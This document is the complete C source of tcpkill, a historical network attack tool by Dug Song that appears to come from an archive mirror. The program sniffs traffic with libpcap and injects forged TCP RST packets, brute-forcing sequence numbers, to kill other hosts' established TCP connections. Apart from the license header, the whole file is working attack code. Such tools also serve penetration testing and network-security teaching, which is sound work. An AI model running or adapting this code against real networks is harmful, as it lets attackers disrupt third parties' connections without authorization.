home *** CD-ROM | disk | FTP | other *** search
- /*
- tcpkill.c
-
- Kill TCP connections already in progress.
-
- Copyright (c) 2000 Dug Song <dugsong@monkey.org>
- All rights reserved, all wrongs reversed.
-
- Redistribution and use in source and binary forms, with or without
- modification, are permitted provided that the following conditions
- are met:
-
- 1. Redistributions of source code must retain the above copyright
- notice, this list of conditions and the following disclaimer.
- 2. Redistributions in binary form must reproduce the above copyright
- notice, this list of conditions and the following disclaimer in the
- documentation and/or other materials provided with the distribution.
- 3. The name of author may not be used to endorse or promote products
- derived from this software without specific prior written permission.
-
- THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
- INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
- AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
- THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
- OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
- WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
- OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
- ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
- $Id: tcpkill.c,v 1.5 2000/01/24 17:59:09 dugsong Exp $
- */
-
- #include <sys/types.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <libnet.h>
- #include <pcap.h>
-
- #include "version.h"
-
- /* XXX - brute force seqnum space. ugh. */
- #define DEFAULT_SEVERITY 3
-
- /* Globals. */
- int Opt_severity = DEFAULT_SEVERITY;
- int Opt_verbose = 0;
- int pcap_dl_offset;
-
- void
- usage(void)
- {
- fprintf(stderr, "Usage: tcpkill [-v] [-i interface] [-1..9] [expression]\n");
- exit(1);
- }
-
- /* Start sniffing on an interface. */
- pcap_t *
- pcap_init(char *intf, char *filter, int snaplen)
- {
- pcap_t *pd;
- u_int net, mask;
- struct bpf_program fcode;
- char ebuf[PCAP_ERRBUF_SIZE];
-
- if ((pd = pcap_open_live(intf, snaplen, 1, 1024, ebuf)) == NULL) {
- fprintf(stderr, "%s\n", ebuf);
- return (NULL);
- }
- if (pcap_lookupnet(intf, &net, &mask, ebuf) == -1) {
- fprintf(stderr, "%s\n", ebuf);
- return (NULL);
- }
- if (pcap_compile(pd, &fcode, filter, 1, mask) < 0) {
- pcap_perror(pd, "pcap_compile");
- return (NULL);
- }
- if (pcap_setfilter(pd, &fcode) == -1) {
- pcap_perror(pd, "pcap_compile");
- return (NULL);
- }
- switch (pcap_datalink(pd)) {
- case DLT_EN10MB:
- pcap_dl_offset = 14;
- break;
- case DLT_IEEE802:
- pcap_dl_offset = 22;
- break;
- case DLT_FDDI:
- pcap_dl_offset = 21;
- break;
- #ifdef DLT_LOOP
- case DLT_LOOP:
- #endif
- case DLT_NULL:
- pcap_dl_offset = 4;
- break;
- default:
- fprintf(stderr, "unsupported datalink type\n");
- return (NULL);
- }
- return (pd);
- }
-
- /* from tcpdump util.c. */
- char *
- copy_argv(register char **argv)
- {
- char **p, *buf, *src, *dst;
- u_int len = 0;
-
- p = argv;
- if (*p == 0)
- return 0;
-
- while (*p)
- len += strlen(*p++) + 1;
-
- if ((buf = (char *)malloc(len)) == NULL) {
- perror("malloc");
- exit(1);
- }
- p = argv;
- dst = buf;
- while ((src = *p++) != NULL) {
- while ((*dst++ = *src++) != '\0')
- ;
- dst[-1] = ' ';
- }
- dst[-1] = '\0';
-
- return buf;
- }
-
- /*
- XXX - we ought to determine the rate of seqnum consumption and
- predict the correct seqnum to use, instead of brute force. i suk.
- */
- void
- tcp_rst_loop(pcap_t *pd, int sock)
- {
- struct pcap_pkthdr pkthdr;
- struct ip *ip;
- struct tcphdr *tcp;
- u_char *pkt, buf[IP_H + TCP_H];
- u_long ack;
- u_short win;
- int i;
-
- libnet_seed_prand();
-
- for (;;) {
- if ((pkt = (char *)pcap_next(pd, &pkthdr)) != NULL) {
- ip = (struct ip *)(pkt + pcap_dl_offset);
- if (ip->ip_p != IPPROTO_TCP) continue;
-
- tcp = (struct tcphdr *)((u_char *)ip + (ip->ip_hl * 4));
- if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST)) continue;
-
- ack = ntohl(tcp->th_ack);
- win = ntohs(tcp->th_win);
-
- libnet_build_ip(TCP_H, 0, 0, 0, 64, IPPROTO_TCP, ip->ip_dst.s_addr,
- ip->ip_src.s_addr, NULL, 0, buf);
- libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport), 0, 0,
- TH_RST, 0, 0, NULL, 0, buf + IP_H);
-
- ip = (struct ip *)buf;
- tcp = (struct tcphdr *)(ip + 1);
-
- for (i = 0; i < Opt_severity; i++) {
- ip->ip_id = libnet_get_prand(PRu16);
- tcp->th_seq = htonl(ack + (i * win));
-
- libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);
- libnet_write_ip(sock, buf, sizeof(buf));
- }
- if (Opt_verbose)
- fprintf(stderr, "rst %s:%d > %s:%d\n",
- libnet_host_lookup(ip->ip_src.s_addr, 0), ntohs(tcp->th_sport),
- libnet_host_lookup(ip->ip_dst.s_addr, 0), ntohs(tcp->th_dport));
- }
- }
- }
-
- int
- main(int argc, char *argv[])
- {
- int c, sock;
- char *p, *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
- pcap_t *pd;
-
- intf = NULL;
-
- while ((c = getopt(argc, argv, "i:123456789vh?V")) != -1) {
- switch (c) {
- case 'i':
- intf = optarg;
- break;
- case '0': case '1': case '2': case '3': case '4':
- case '5': case '6': case '7': case '8': case '9':
- p = argv[optind - 1];
- if (p[0] == '-' && p[1] == c && p[2] == '\0')
- Opt_severity = atoi(++p);
- else
- Opt_severity = atoi(argv[optind] + 1);
- break;
- case 'v':
- Opt_verbose = 1;
- break;
- case 'V':
- fprintf(stderr, "Version: %s\n", VERSION);
- usage();
- break;
- default:
- usage();
- break;
- }
- }
- if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) {
- fprintf(stderr, "%s\n", ebuf);
- exit(1);
- }
- argc -= optind;
- argv += optind;
-
- if (argc == 0) filter = "tcp[13] & 16 != 0";
- else filter = copy_argv(argv);
-
- if ((pd = pcap_init(intf, filter, 128)) == NULL)
- exit(1);
-
- if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1) {
- perror("socket");
- exit(1);
- }
-
- tcp_rst_loop(pd, sock);
-
- /* NOTREACHED */
-
- exit(0);
- }
-
- /* 5000. */
-